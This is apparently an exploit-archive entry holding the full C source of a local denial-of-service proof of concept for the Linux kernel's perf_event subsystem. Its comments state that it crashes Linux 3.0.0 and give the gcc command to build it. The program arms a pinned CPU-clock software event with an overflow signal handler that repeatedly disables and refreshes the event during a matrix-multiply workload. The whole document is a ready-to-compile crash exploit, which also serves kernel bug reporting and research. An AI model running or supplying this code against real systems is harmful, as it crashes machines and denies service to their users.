Linux kernel perf_count_sw_cpu_clock event local denial of service exploit.
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/* Error with overflows and perf::perf_count_sw_cpu_clock */
/* This test will crash Linux 3.0.0 */
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */
/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu> */
#define _GNU_SOURCE 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/prctl.h>
#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];
static void naive_matrix_multiply(int quiet) {
double s;
int i,j,k;
for(i=0;i<MATRIX_SIZE;i++) {
for(j=0;j<MATRIX_SIZE;j++) {
a[i][j]=(double)i*(double)j;
b[i][j]=(double)i/(double)(j+5);
}
}
for(j=0;j<MATRIX_SIZE;j++) {
for(i=0;i<MATRIX_SIZE;i++) {
s=0;
for(k=0;k<MATRIX_SIZE;k++) {
s+=a[i][k]*b[k][j];
}
c[i][j] = s;
}
}
s=0.0;
for(i=0;i<MATRIX_SIZE;i++) {
for(j=0;j<MATRIX_SIZE;j++) {
s+=c[i][j];
}
}
if (!quiet) printf("Matrix multiply sum: s=%lf\n",s);
return;
}
static int total=0;
void our_handler(int signum,siginfo_t *oh, void *blah) {
int fd=oh->si_fd;
ioctl(fd , PERF_EVENT_IOC_DISABLE,0);
total++;
ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}
int perf_event_open(struct perf_event_attr *hw_event_uptr,
pid_t pid, int cpu, int group_fd, unsigned long flags) {
return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);
}
int main( int argc, char **argv ) {
int fd;
void *blargh;
struct perf_event_attr pe;
struct sigaction sa;
memset(&sa, 0, sizeof(struct sigaction));
sa.sa_sigaction=our_handler;
sa.sa_flags=SA_SIGINFO;
if (sigaction(SIGIO,&sa,NULL)<0) {
fprintf(stderr,"Error setting up signal handler\n");
exit(1);
}
memset(&pe,0,sizeof(struct perf_event_attr));
pe.type=PERF_TYPE_SOFTWARE;
pe.size=sizeof(struct perf_event_attr);
pe.config=PERF_COUNT_SW_CPU_CLOCK;
pe.sample_period=100000;
pe.sample_type=PERF_SAMPLE_IP;
pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;
pe.disabled=1;
pe.pinned=1;
pe.exclude_kernel=1;
pe.exclude_hv=1;
pe.wakeup_events=1;
fd=perf_event_open(&pe,0,-1,-1,0);
if (fd<0) {
printf("Error opening\n");
}
blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);
fcntl(fd,F_SETSIG,SIGIO);
fcntl(fd,F_SETOWN,getpid());
ioctl(fd,PERF_EVENT_IOC_RESET,0);
ioctl(fd,PERF_EVENT_IOC_ENABLE,0);
naive_matrix_multiply(0);
ioctl(fd,PERF_EVENT_IOC_DISABLE,0);
munmap(blargh,(1+2)*4096);
close(fd);
printf("Total overflows: %d\n",total);
return 0;
}